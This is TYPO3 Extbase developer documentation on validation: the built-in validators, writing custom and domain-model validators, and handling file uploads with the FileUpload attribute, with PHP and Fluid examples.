Extbase provides a number of validators for standard use cases such as e-mail addresses, string length, not empty etc.

All validators need to be explicitly applied by the annotation Validate to either a controller action or a property / setter in a model.

It is also possible to write custom validators for properties or complete models. See chapter Custom validators for more information.

Why is validation needed?

People often assume that domain objects are consistent and adhere to some rules at all times.

Unfortunately, this is not achieved automatically. So it is important to define such rules explicitly.

In the blog example for the model Person the following rules can be defined

  • First name and last name should each have no more then 80 chars.
  • A last name should have at least 2 chars.
  • The parameter email has to contain a valid email address.

These rules are called invariants, because they must be valid during the entire lifetime of the object.

At the beginning of your project, it is important to consider which invariants your domain objects will consist of.

When does validation take place?

Domain objects in Extbase are validated only at one point in time: When they are used as parameter in a controller action.

When a user sends a request, Extbase first determines which action within the controller is responsible for this request.

Extbase then maps the arguments so that they fit types as defined in the actions method signature.

If there are validators defined for the action these are applied before the actual action method is called.

When the validation fails the method errorAction() of the current controller is called.

Validation of model properties

Changed in version 13.2

All validation messages from included Extbase validators can now be overwritten using validator options. It is possible to provide either a translation key or a custom message as string.

You can define simple validation rules in the domain model by the annotation Validate.

Example:

EXT:blog_example/Classes/Domain/Model/Blog.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\Validate;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Blog extends AbstractEntity
{
    #[Validate([
        'validator' => 'StringLength',
        'options' => ['maximum' => 150],
    ])]
    public string $description = '';

    /**
     * Use annotations instead for compatibility with TYPO3 v11:
     *
     * @Validate("StringLength", options={"maximum": 150})
     */
    public string $description2 = '';
}
Copied!

In this code section the validator StringLength provided by Extbase in class \TYPO3\CMS\Extbase\Validation\Validator\StringLengthValidator is applied with one argument.

Validation of controller arguments

You can also define controller argument validators:

Example:

Examples for controller argument validators
#[Validate(['validator' => 'EmailAddress', 'param' => 'email'])]
public function submitAction(string $email): ResponseInterface
Copied!

The following rules validate each controller argument:

  • If the argument is a domain object, the annotations \TYPO3\CMS\Extbase\Annotation\Validate in the domain object are taken into account.
  • If there is set an annotation \TYPO3\CMS\Extbase\Annotation\IgnoreValidation for the argument, no validation is done.
  • Validators added in the annotation of the action are applied.

If the arguments of an action are invalid, the errorAction is executed. By default a HTTP response with status 400 is returned. If possible the user is forwarded to the previous action. This behaviour can be overridden in the controller.

PHP Attribut syntax of validators with arguments

Validators can be called with zero, one or more arguments. See the following examples:

EXT:blog_example/Classes/Domain/Model/Person.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\Validate;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Blog extends AbstractEntity
{
    #[Validate([
        'validator' => 'StringLength',
        'options' => ['maximum' => 150],
    ])]
    public string $description = '';

    /**
     * Use annotations instead for compatibility with TYPO3 v11:
     *
     * @Validate("StringLength", options={"maximum": 150})
     */
    public string $description2 = '';
}
Copied!

Available validators shipped with Extbase can be found within EXT:extbase/Classes/Validation/Validator/.

Manually call a validator

It is possible to call a validator in your own code with the method \TYPO3\CMS\Extbase\Validation\ValidatorResolver::createValidator().

However please note that the class ValidatorResolver is marked as @internal and it is therefore not advisable to use it.

Custom Extbase validator implementation

Custom validators are located in the directory Classes/Domain/Validator and therefore in the namespace \MyVendor\MyExtension\Domain\Validator.

All validators must implement ValidatorInterface . They usually extend the AbstractValidator .

Custom validator for a property of the domain model

When the standard validators provided by Extbase are not sufficient you can write a custom validators to use on the property of a domain model:

Class T3docs\BlogExample\Domain\Validator\TitleValidator
final class TitleValidator extends AbstractValidator
{
    protected function isValid(mixed $value): void
    {
        // $value is the title string
        if (str_starts_with('_', $value)) {
            $errorString = 'The title may not start with an underscore. ';
            $this->addError($errorString, 1297418976);
        }
    }
}
Copied!

The method isValid() does not return a value. In case of an error it adds an error to the validation result by calling method addError(). The long number added as second parameter of this function is the current UNIX time in the moment the error message was first introduced. This way all errors can be uniquely identified.

This validator can be used for any string property of model now by including it in the annotation of that parameter:

EXT:blog_example/Classes/Domain/Model/Blog.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use T3docs\BlogExample\Domain\Validator\TitleValidator;
use TYPO3\CMS\Extbase\Annotation\Validate;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Blog extends AbstractEntity
{
    #[Validate([
        'validator' => TitleValidator::class,
    ])]
    public string $title = '';
}
Copied!

Complete domain model validation

At certain times in the life cycle of a model it can be necessary to validate the complete domain model. This is usually done before calling a certain action that will persist the object.

Class T3docs\BlogExample\Domain\Validator\BlogValidator
use T3docs\BlogExample\Domain\Model\Blog;
use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

final class BlogValidator extends AbstractValidator
{
    protected function isValid(mixed $value): void
    {
        if (!$value instanceof Blog) {
            $errorString = 'The blog validator can only handle classes '
                . 'of type T3docs\BlogExample\Domain\Validator\Blog. '
                . $value::class . ' given instead.';
            $this->addError($errorString, 1297418975);
        }
        if (!$this->blogValidationService->isBlogCategoryCountValid($value)) {
            $errorString = LocalizationUtility::translate(
                'error.Blog.tooManyCategories',
                'BlogExample'
            );
            // Add the error to the property if it is specific to one property
            $this->addErrorForProperty('categories', $errorString, 1297418976);
        }
        if (!$this->blogValidationService->isBlogSubtitleValid($value)) {
            $errorString = LocalizationUtility::translate(
                'error.Blog.invalidSubTitle',
                'BlogExample'
            );
            // Add the error directly if it takes several properties into account
            $this->addError($errorString, 1297418974);
        }
    }
}
Copied!

If the error is related to a specific property of the domain object, the function addErrorForProperty() should be used instead of addError().

The validator is used as annotation in the action methods of the controller:

EXT:blog_example/Classes/Controller/BlogController.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Controller;

use Psr\Http\Message\ResponseInterface;
use T3docs\BlogExample\Domain\Model\Blog;
use T3docs\BlogExample\Domain\Validator\BlogValidator;
use T3docs\BlogExample\Exception\NoBlogAdminAccessException;
use TYPO3\CMS\Extbase\Annotation\Validate;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

class BlogController extends ActionController
{
    /**
     * Updates an existing blog
     *
     * $blog is a not yet persisted clone of the original blog containing
     * the modifications
     *
     * @throws NoBlogAdminAccessException
     */
    #[Validate([
        'param' => 'blog',
        'validator' => BlogValidator::class,
    ])]
    public function updateAction(Blog $blog): ResponseInterface
    {
        // do something
        return $this->htmlResponse();
    }
}
Copied!

Dependency injection in validators

Extbase validators are capable of dependency injection without further configuration, you can use the constructor method:

EXT:my_extension/Classes/Domain/Validators/MyCustomValidator.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Validators;

use TYPO3\CMS\Extbase\Validation\Validator\AbstractValidator;

final class MyCustomValidator extends AbstractValidator
{
    public function __construct(private readonly MyService $myService) {}

    protected function isValid(mixed $value): void
    {
        // TODO: Implement isValid() method.
    }
}
Copied!

Request object in Extbase validators

New in version 13.2

Extbase AbstractValidator provides a getter and a setter for the PSR-7 Request object.

You can use the PSR-7 request object in a validator, for example to get the site settings:

EXT:my_extension/Classes/Domain/Validators/MyCustomValidator.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Validators;

use TYPO3\CMS\Core\Site\Entity\Site;
use TYPO3\CMS\Extbase\Validation\Validator\AbstractValidator;

final class MyCustomValidator extends AbstractValidator
{
    protected function isValid(mixed $value): void
    {
        /** @var ?Site $site */
        $site = $this->getRequest()?->getAttribute('site');
        $siteSettings = $site?->getSettings() ?? [];
        // TODO: Implement isValid() method using site settings
    }
}
Copied!

Built-in validators provided by Extbase

This document lists all built-in Extbase validators, along with example usage for each using PHP attributes.

AlphanumericValidator

The AlphanumericValidator checks that a value contains only letters and numbers — no spaces, symbols, or special characters.

This includes letters from many languages, not just A–Z. For example, letters from alphabets like Hebrew, Arabic, Cyrillic, and others are also allowed.

This is useful for fields like usernames or codes where only plain text characters are allowed.

If you want to allow any symbols (like @, #, -) or spaces, use the RegularExpressionValidator instead.

#[Validate(['validator' => 'Alphanumeric'])]
protected string $username;
Copied!

BooleanValidator

The BooleanValidator checks if a value matches a specific boolean value (true or false).

By default, it accepts any boolean value unless the is option is set.

Options:

is

This option enforces that a property explicitly evaluates to either true or false, such as for checkboxes in forms.

Interprets strings 'true', '1', 'false', '0'. Values of other types are converted to boolean directly.

Ensure that a value is a boolean (no strict check, default behavior):

#[Validate(['validator' => 'Boolean'])]
protected $isActive;
Copied!

Require that a value must be true (e.g. checkbox must be checked):

#[Validate(['validator' => 'Boolean', 'options' => ['is' => true]])]
protected bool $termsAccepted;
Copied!

Require that a value must be false:

#[Validate(['validator' => 'Boolean', 'options' => ['is' => false]])]
protected bool $isBlocked;
Copied!

CollectionValidator

The CollectionValidator is a built-in Extbase validator for validating arrays or collections, such as arrays of DTOs or ObjectStorage<T> elements.

It allows you to apply a single validation to each individual item in a collection. The validation is recursive: every item is passed through the validator you specify.

elementValidator
The name or class of a validator that should be applied to each item in the collection (e.g. 'NotEmpty', 'EmailAddress').
elementType
The class name of the collection's element type. All registered validators for that type will be applied to each item.

You must provide either elementValidator or elementType.

Use cases:

  • Validating dynamic or repeatable form fields (e.g. multiple answers)
  • Validating input arrays from multi-select fields or checkboxes
  • Validating each related object in an ObjectStorage property

ConjunctionValidator

The ConjunctionValidator allows you to combine multiple validators into a logical AND. All validators in the conjunction must return valid results for the overall validation to pass.

This validator is typically used internally by Extbase when multiple #[Validate] attributes are defined on a property or when validator conjunctions are configured in the validator resolver.

Behavior:

  • All validators in the conjunction are applied to the value.
  • If any validator fails, the entire validation fails.
  • Errors from all failing validators are combined in the result.

While this validator is often constructed internally, you can also define your own validator combinations manually in the validator resolver or via custom validators.

DateTimeValidator

The DateTimeValidator ensures a value is a valid \DateTimeInterface.

#[Validate(['validator' => 'DateTime'])]
protected mixed $startDate;
Copied!

DisjunctionValidator

The DisjunctionValidator is a composite Extbase validator that allows you to combine multiple validators using a logical OR.

It is the inverse of the ConjunctionValidator: the value is considered valid if at least one of the nested validators succeeds.

Behavior: - All validators are evaluated in order. - Validation stops as soon as one validator passes. - If all validators fail, their errors are merged and returned. - If any validator passes, the result is considered valid.

Use cases:

Use this validator when a value is allowed to match one of multiple conditions. For example: - A field can be either empty or a valid email - A string can be either a number or "N/A" - A value can match one of multiple formats

Usage:

This validator is typically used manually in custom validators or in validator resolver configurations.

EmailAddressValidator

The EmailAddressValidator an email address using method \TYPO3\CMS\Core\Utility\GeneralUtility::validEmail(), which uses the validators defined in $GLOBALS['TYPO3_CONF_VARS']['MAIL']['validators'].

It respects

#[Validate(['validator' => 'EmailAddress'])]
protected string $email;
Copied!

FileNameValidator

The FileNameValidator validates, that the given UploadedFile or ObjectStorage with objects of type UploadedFile objects does not contain a PHP executable file by checking the given file extension.

Internally the \TYPO3\CMS\Core\Resource\Security\FileNameValidator is used to validate the file name.

FileSizeValidator

The FileSizeValidator validates, that the given UploadedFile ObjectStorage with objects of type UploadedFile objects do not exceed the file size configured via the options.

Options:

minimum
The minimum file size to accept in bytes, accepts K / M / G suffixes
maximum
The maximum file size to accept

Internally \TYPO3\CMS\Core\Type\File\FileInfo is used to determine the size.

FloatValidator

Checks if a value is a floating point number.

#[Validate(['validator' => 'Float'])]
protected float $price;
Copied!

ImageDimensionsValidator

The ImageDimensionsValidator validates image dimensions of a given UploadedFile or ObjectStorage with objects of type UploadedFile objects.

Options:

width
The exact width of the image
height
The exact height of the image
minWidth
The minimum width of the image
maxWidth
The maximum width of the image
minHeight
The minimum height of the image
maxHeight
The maximum height of the image

IntegerValidator

The IntegerValidator ensures that a value is an integer.

This validator is useful for validating numeric fields that must contain whole numbers, such as quantities, IDs, or counters.

#[Validate(['validator' => 'Integer'])] protected mixed $quantity;

#[Validate(['validator' => 'Integer'])]
protected mixed $quantity;
Copied!

MimeTypeValidator

The MimeTypeValidator validates MIME types of a given UploadedFile or ObjectStorage with objects of type UploadedFile objects.

Does also validate, if the extension of the validated file matches the allowed file extensions for the detected MIME type.

Options:

allowedMimeTypes
Allowed MIME types (using / IANA media types)
ignoreFileExtensionCheck
If set to true, the file extension check is disabled. Be aware of security implications when setting this to true.

NotEmptyValidator

The NotEmptyValidator ensures that a value is not considered empty.

"Empty" in this context means:

  • An empty string ('')
  • null
  • An empty array ([])
  • An empty ObjectStorage
  • Any empty countable object like \SplObjectStorage

This validator is commonly used to enforce required fields.

#[Validate(['validator' => 'NotEmpty'])]
protected string $title;
Copied!

NumberRangeValidator

The NumberRangeValidator checks that a number falls within a specified numeric range.

This validator supports integers and floats and is useful for validating percentages, prices, limits, or any numeric input with minimum and/or maximum constraints.

Validator options

minimum
Lower boundary of the valid range (inclusive).
maximum
Upper boundary of the valid range (inclusive).
message
Custom error message or translation key for out-of-range values.

If only minimum is set, the validator checks for values greater than or equal to that minimum.

If only maximum is set, it checks for values less than or equal to that maximum.

You may use both together to define an inclusive range.

Example: Validate percentage

use TYPO3\CMS\Extbase\Annotation\Validate;

class SettingsForm
{
    #[Validate([
        'validator' => 'NumberRange',
        'options' => ['minimum' => 1, 'maximum' => 100],
    ])]
    protected int $percentage;
}
Copied!

RegularExpressionValidator

The RegularExpressionValidator checks whether a given value matches a specified regular expression (regex). It is useful for validating custom string formats that are not covered by built-in validators.

For example, it can enforce ID formats, postal codes, or other structured inputs.

Options:

regularExpression
The regular expression to validate against. Must be a valid PCRE pattern, including delimiters (e.g. /^...$/).
message
Custom error message or translation key. If not set, a localized default message will be used. The default message looks cryptic and should not be shown to website visitors as-is.

Validation behavior:

  • If the value does not match, an error is added.
  • If the regex is invalid, an exception is thrown.
  • The validator supports localized error messages via LLL:EXT:... syntax.

Example: username pattern

Validate that a value contains only alphanumeric characters:

use TYPO3\CMS\Extbase\Annotation\Validate;

class UserForm
{
    #[Validate([
        'validator' => 'RegularExpression',
        'options' => [
            'regularExpression' => '/^[a-z0-9]+$/i'
        ]
    ])]
    public string $username = '';
}
Copied!

Example: ZIP code

Validate a 5-digit postal code with a custom error message:

use TYPO3\CMS\Extbase\Annotation\Validate;

class AddressForm
{
    #[Validate([
        'validator' => 'RegularExpression',
        'options' => [
            'regularExpression' => '/^\d{5}$/',
            'message' => 'Bitte eine gültige Postleitzahl eingeben.'
        ]
    ])]
    public string $postalCode = '';
}
Copied!

Use cases

  • Custom identifiers or slugs
  • Postal/ZIP code validation
  • Specific numeric or alphanumeric patterns

Important

Use this validator only for formats that are not supported by dedicated validators. Prefer these built-in validators when applicable:

  • EmailAddressValidator – for email addresses
  • DateTimeValidator – for dates
  • UrlValidator – for URLs

These are easier to configure, localized by default, and more robust.

StringLengthValidator

The StringLengthValidator validates the length of a string.

The check is also multi-byte save. For example "Ö" is counted as ONE charakter.

Options:

minimum
Minimum length for a valid string.
maximum
Maximum length for a valid string.
#[Validate([
    'validator' => 'StringLength',
    'options' => ['minimum' => 5, 'maximum' => 50],
])]
protected string $description;
Copied!

StringValidator

The StringValidator validates that a mixed variable is a string. Fails for array, numbers and bools.

#[Validate(['validator' => 'String'])]
protected mixed $comment;
Copied!

TextValidator

Checks if the given value is a valid text (contains no HTML/XML tags).

#[Validate(['validator' => 'Text'])]
protected string $comment;
Copied!

UrlValidator

The UrlValidator checks whether a given string is a valid web URL.

It uses TYPO3’s internal utility method \TYPO3\CMS\Core\Utility\GeneralUtility::isValidUrl() to determine whether the URL is valid.

Only well-formed URLs with a supported scheme such as http:// or https:// will be accepted.

Validation behavior

  • Only string values are accepted.
  • The URL must include a valid scheme (e.g. https://).
  • Validation will fail for incomplete or malformed URLs.

Example: Validate a web URL

This example ensures that a field contains a valid external website address.

use TYPO3\CMS\Extbase\Annotation\Validate;

class UserProfile
{
    #[Validate(['validator' => 'Url'])]
    protected string $website = '';
}
Copied!

Use cases

  • Website or blog URLs
  • Social media profile links
  • User-submitted external links

Multiple validators example

You can apply multiple validators on a single property.

#[Validate(['validator' => 'NotEmpty'])]
#[Validate([
    'validator' => 'StringLength',
    'options' => ['minimum' => 3, 'maximum' => 20],
])]
protected string $nickname;
Copied!

File upload

Implementing file uploads / attachments to Extbase domain models has always been a bit of a challenge.

While it is straight-forward to access an existing file reference in a domain model, writing new files to the FAL (File Access Layer) takes more effort.

Accessing a file reference in an Extbase domain model

You need two components for the structural information: the Domain Model definition and the TCA entry.

The domain model definition:

EXT:my_extension/Classes/Domain/Model/Blog.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\Domain\Model\FileReference;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    // A single file
    protected ?FileReference $singleFile = null;

    /**
     * A collection of files.
     * @var ObjectStorage<FileReference>
     */
    protected ObjectStorage $multipleFiles;

    // When using ObjectStorages, it is vital to initialize these.
    public function __construct()
    {
        $this->multipleFiles = new ObjectStorage();
    }

    /**
     * Called again with initialize object, as fetching an entity from the DB does not use the constructor
     */
    public function initializeObject(): void
    {
        $this->multipleFiles = $this->multipleFiles ?? new ObjectStorage();
    }

    // Typical getters
    public function getSingleFile(): ?FileReference
    {
        return $this->singleFile;
    }

    /**
     * @return ObjectStorage|FileReference[]
     */
    public function getMultipleFiles(): ObjectStorage
    {
        return $this->multipleFiles;
    }

    // For later examples, the setters:
    public function setSingleFile(?FileReference $singleFile): void
    {
        $this->singleFile = $singleFile;
    }

    public function setMultipleFiles(ObjectStorage $files): void
    {
        $this->multipleFiles = $files;
    }
}
Copied!

and the TCA definition:

EXT:my_extension/Configuration/TCA/tx_myextension_domain_model_blog.php
<?php

return [
    'ctrl' => [
        // .. usual TCA fields
    ],
    'columns' => [
        // ... usual TCA columns
        'single_file' => [
            'exclude' => true,
            'label' => 'Single file',
            'config' => [
                'type' => 'file',
                'maxitems' => 1,
                'allowed' => 'common-image-types',
            ],
        ],
        'multiple_files' => [
            'exclude' => true,
            'label' => 'Multiple files',
            'config' => [
                'type' => 'file',
                'allowed' => 'common-image-types',
            ],
        ],
    ],
];
Copied!

Once this is set up, you can create/edit records through the TYPO3 backend (for example via Web > List), attach a single or multiple files in it. Then using a normal controller and Fluid template, you can display an image.

The relevant Extbase controller part:

EXT:my_extension/Classes/Controller/BlogController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Domain\Model\Blog;
use MyVendor\MyExtension\Domain\Repository\BlogRepository;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

class BlogController extends ActionController
{
    public function __construct(protected readonly BlogRepository $blogRepository)
    {
        // Note: The repository is a standard extbase repository, nothing specific
        //       to this example.
    }

    public function showAction(Blog $blog): ResponseInterface
    {
        $this->view->assign('blog', $blog);

        return $this->htmlResponse();
    }
}
Copied!

and the corresponding Fluid template:

EXT:my_extension/Resources/Private/Templates/Blog/Show.html
<html xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"
      data-namespace-typo3-fluid="true">

<f:layout name="Default" />

<f:section name="main">
    <p>Single image:</p>
    <f:image image="{blog.singleFile.originalFile}" />

    <p>Multiple images:</p>
    <f:for each="{blog.multipleFiles}" as="image">
        <f:image image="{image.originalFile}" />
    </f:for>

    <p>Access first image of multiple images:</p>
    <f:image image="{blog.multipleFiles[0].originalFile}" />
</f:section>
Copied!

On the PHP side within controllers, you can use the usual $blogItem->getSingleFile() and $blogItem->getMultipleFiles() Extbase getters to retrieve the FileReference object.

Writing FileReference entries

Manual handling

With TYPO3 versions below v13.3, attaching files to an Extbase domain model was only possible by either:

  • Manually evaluate the $_FILES data, process and validate the data, use raw QueryBuilder write actions on sys_file and sys_file_reference to persist the files quickly, or use at least some API methods:

    EXT:my_extension/Classes/Controller/BlogController.php, excerpt
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Controller;
    
    use MyVendor\MyExtension\Domain\Model\Blog;
    use MyVendor\MyExtension\Domain\Repository\BlogRepository;
    use TYPO3\CMS\Core\Resource\Enum\DuplicationBehavior;
    use TYPO3\CMS\Core\Resource\ResourceFactory;
    use TYPO3\CMS\Core\Utility\GeneralUtility;
    use TYPO3\CMS\Core\Utility\StringUtility;
    use TYPO3\CMS\Extbase\Domain\Model\FileReference;
    use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;
    
    class BlogController extends ActionController
    {
        public function __construct(
            protected ResourceFactory $resourceFactory,
            protected BlogRepository $blogRepository,
        ) {}
    
        public function attachFileUpload(Blog $blog): void
        {
            $falIdentifier = '1:/your_storage';
            $yourFile = '/path/to/uploaded/file.jpg';
    
            // Attach the file to the wanted storage
            $falFolder = $this->resourceFactory->retrieveFileOrFolderObject($falIdentifier);
            $fileObject = $falFolder->addFile(
                $yourFile,
                basename($yourFile),
                DuplicationBehavior::REPLACE,
            );
    
            // Initialize a new storage object
            $newObject = [
                'uid_local' => $fileObject->getUid(),
                'uid_foreign' => StringUtility::getUniqueId('NEW'),
                'uid' => StringUtility::getUniqueId('NEW'),
                'crop' => null,
            ];
    
            // Create the FileReference Object
            $fileReference = $this->resourceFactory->createFileReferenceObject($newObject);
    
            // Port the FileReference Object to an Extbase FileReference
            $fileReferenceObject = GeneralUtility::makeInstance(FileReference::class);
            $fileReferenceObject->setOriginalResource($fileReference);
    
            // Persist the created file reference object to our Blog model
            $blog->setSingleFile($fileReferenceObject);
            $this->blogRepository->update($blog);
    
            // Note: For multiple files, a wrapping ObjectStorage would be needed
        }
    }
    
    Copied!

    Instead of raw access to $_FILES, starting with TYPO3 v12 the recommendation is to utilize the UploadedFile objects instead of $_FILES. In that case, validators can be used for custom UploadedFile objects to specify restrictions on file types, file sizes and image dimensions.

  • Use (or better: adapt) a more complex implementation by using Extbase TypeConverters, as provided by Helmut Hummel's EXT:upload_example. This extension is no longer maintained and will not work without larger adaptation for TYPO3 v12 compatibility.

Automatic handling based on PHP attributes

Starting with TYPO3 v13.3 it is finally possible to streamline this with commonly known Extbase logic, as implemented via Feature: #103511 - Introduce Extbase file upload and deletion handling.

An example implementation of this can be found on Torben Hansen's EXT:extbase-upload repository.

The general idea is to use PHP attributes within the Extbase Model, and for the upload use a custom ViewHelper.

The domain model:

EXT:my_extension/Classes/Domain/Model/Blog.php, using FileUpload attributes
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Core\Resource\Enum\DuplicationBehavior;
use TYPO3\CMS\Extbase\Annotation\FileUpload;
use TYPO3\CMS\Extbase\Domain\Model\FileReference;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    // A single file
    #[FileUpload([
        'validation' => [
            'required' => true,
            'maxFiles' => 1,
            'fileSize' => ['minimum' => '0K', 'maximum' => '2M'],
            'allowedMimeTypes' => ['image/jpeg'],
            'imageDimensions' => ['maxWidth' => 4096, 'maxHeight' => 4096],
        ],
        'uploadFolder' => '1:/user_upload/extbase_single_file/',
        'addRandomSuffix' => true,
        'duplicationBehavior' => DuplicationBehavior::RENAME,
    ])]
    protected ?FileReference $singleFile = null;

    #[FileUpload([
        'validation' => [
            'required' => true,
            'fileSize' => ['minimum' => '0K', 'maximum' => '2M'],
            'allowedMimeTypes' => ['image/jpeg'],
        ],
        'uploadFolder' => '1:/user_upload/extbase_multiple_files/',
    ])]

    /**
     * A collection of files.
     * @var ObjectStorage<FileReference>
     */
    protected ObjectStorage $multipleFiles;

    // When using ObjectStorages, it is vital to initialize these.
    public function __construct()
    {
        $this->multipleFiles = new ObjectStorage();
    }

    /**
     * Called again with initialize object, as fetching an entity from the DB does not use the constructor
     */
    public function initializeObject(): void
    {
        $this->multipleFiles = $this->multipleFiles ?? new ObjectStorage();
    }

    // Typical getters
    public function getSingleFile(): ?FileReference
    {
        return $this->singleFile;
    }

    /**
     * @return ObjectStorage|FileReference[]
     */
    public function getMultipleFiles(): ObjectStorage
    {
        return $this->multipleFiles;
    }

    // Typical setters
    public function setSingleFile(?FileReference $singleFile): void
    {
        $this->singleFile = $singleFile;
    }

    public function setMultipleFiles(ObjectStorage $files): void
    {
        $this->multipleFiles = $files;
    }
}
Copied!

and the corresponding Fluid template utilizing the ViewHelper:

EXT:my_extension/Resources/Private/Templates/Blog/New.html
<html xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"
      xmlns:form="http://typo3.org/ns/TYPO3/CMS/Form/ViewHelpers"
      data-namespace-typo3-fluid="true">

<f:layout name="Default" />

<f:section name="main">
    <f:form action="create" name="blog" object="{blog}" enctype="multipart/form-data">
        <div>
            <p>Single file</p>
            <f:form.upload property="singleFile" />
        </div>

        <div>
            <p>Multiple files</p>
            <f:form.upload property="multipleFiles" multiple="1" />
        </div>

        <div>
            <f:form.submit value="Save" />
        </div>
    </f:form>
</f:section>
Copied!

You can also allow to remove already uploaded files (for the user):

EXT:my_extension/Resources/Private/Templates/Blog/New.html
<html xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"
      xmlns:form="http://typo3.org/ns/TYPO3/CMS/Form/ViewHelpers"
      data-namespace-typo3-fluid="true">

<f:layout name="Default" />

<f:section name="main">
    <f:form action="create" name="blog" object="{blog}" enctype="multipart/form-data">
        <div>
            <p>Single file</p>

            <f:if condition="{blog.singleFile}">
                <div>
                    <f:form.uploadDeleteCheckbox id="singleFile"
                                                 property="singleFile"
                                                 fileReference="{blog.singleFile}" />
                    <label for="singleFile">Delete file</label>
                </div>
            </f:if>

            <f:form.upload property="singleFile" />
        </div>

        <div>
            <p>Multiple files</p>

            <f:if condition="{blog.multipleFiles}">
                <f:for each="{blog.multipleFiles}" as="file" iteration="i">
                    <div>
                        <f:form.uploadDeleteCheckbox id="multipleFiles.{i.index}"
                                                     property="multipleFiles"
                                                     fileReference="{file}" />
                        <label for="multipleFiles.{i.index}">Delete file</label>
                    </div>
                </f:for>
            </f:if>

            <f:form.upload property="multipleFiles" multiple="1" />
        </div>

        <div>
            <f:form.submit value="Save" />
        </div>
    </f:form>
</f:section>
Copied!

The controller action part with persisting the data needs no further custom code, Extbase can automatically do all the domain model handling on its own. The TCA can also stay the same as configured for simply read-access to a domain model. The only requirement is that you take care of persisting the domain model after create/update actions:

EXT:my_extension/Resources/Private/Templates/Blog/New.html
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Domain\Model\Blog;
use MyVendor\MyExtension\Domain\Repository\BlogRepository;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

class BlogController extends ActionController
{
    public function __construct(protected readonly BlogRepository $blogRepository)
    {
        // Note: The repository is a standard extbase repository, nothing specific
        //       to this example.
    }

    public function listAction(): ResponseInterface
    {
        $this->view->assign('blog', $this->blogRepository->findAll());
        return $this->htmlResponse();
    }

    public function newAction(): ResponseInterface
    {
        // Create a fresh domain model for CRUD
        $this->view->assign('blog', GeneralUtility::makeInstance(Blog::class));
        return $this->htmlResponse();
    }

    public function createAction(Blog $blog): ResponseInterface
    {
        // Set some basic attributes to your domain model that users should not
        // influence themselves, like the storage PID
        $blog->setPid(42);

        // Persisting is needed to properly create FileReferences for the File object
        $this->blogRepository->add($blog);

        return $this->redirect('list');
    }

    public function editAction(?Blog $blog): ResponseInterface
    {
        $this->view->assign('blog', $blog);
        return $this->htmlResponse();
    }

    public function updateAction(Blog $item): ResponseInterface
    {
        $this->blogRepository->update($item);
        return $this->redirect('list');
    }
}
Copied!

The actual file upload processing is done after extbase property mapping was successful. If not all properties of a domain model are valid, the file will not be uploaded. This means, if any error occurs, a user will have to re-upload a file.

The implementation is done like this to prevent stale temporary files that would need cleanup or could raise issues with Denial of Service (by filling up disk-space with these temporarily uploaded files).

Reference for the FileUpload PHP attribute

File uploads can be validated by the following rules:

  • minimum and maximum file count
  • minimum and maximum file size
  • allowed MIME types
  • image dimensions (for image uploads)

Additionally, it is ensured, that the filename given by the client is valid, meaning that no invalid characters (null-bytes) are added and that the file does not contain an invalid file extension. The API has support for custom validators, which can be created on demand.

To avoid complexity and maintain data integrity, a file upload is only processed if the validation of all properties of a domain model is successful. In this first implementation, file uploads are not persisted/cached temporarily, so this means in any case of a validation failure ("normal" validators and file upload validation) a file upload must be performed again by users.

Possible future enhancements of this functionality could enhance the existing #[FileUpload] attribute/annotation with configuration like a temporary storage location, or specifying additional custom validators (which can be done via the PHP-API as described below)

File upload configuration with the FileUpload attribute

File upload for a property of a domain model can be configured using the newly introduced \TYPO3\CMS\Extbase\Annotation\FileUpload attribute.

Example:

EXT:my_extension/Classes/Domain/Model/Blog.php (example excerpt of an Extbase domain model)
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\FileUpload;
use TYPO3\CMS\Extbase\Domain\Model\FileReference;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Blog extends AbstractEntity
{
    #[FileUpload([
        'validation' => [
            'required' => true,
            'maxFiles' => 1,
            'fileSize' => ['minimum' => '0K', 'maximum' => '2M'],
            'allowedMimeTypes' => ['image/jpeg', 'image/png'],
        ],
        'uploadFolder' => '1:/user_upload/files/',
    ])]
    protected ?FileReference $file = null;

    // getters and setters like usual
}
Copied!

All configuration settings of the \TYPO3\CMS\Extbase\Mvc\Controller\FileUploadConfiguration object can be defined using the FileUpload attribute. It is however not possible to add custom validators using the FileUpload attribute, which you can achieve with a manual configuration as shown below.

The currently available configuration array keys are:

  • validation ( array with keys required, maxFiles, minFiles, fileSize, allowedMimeTypes, imageDimensions, see File upload validation)
  • uploadFolder ( string, destination folder)
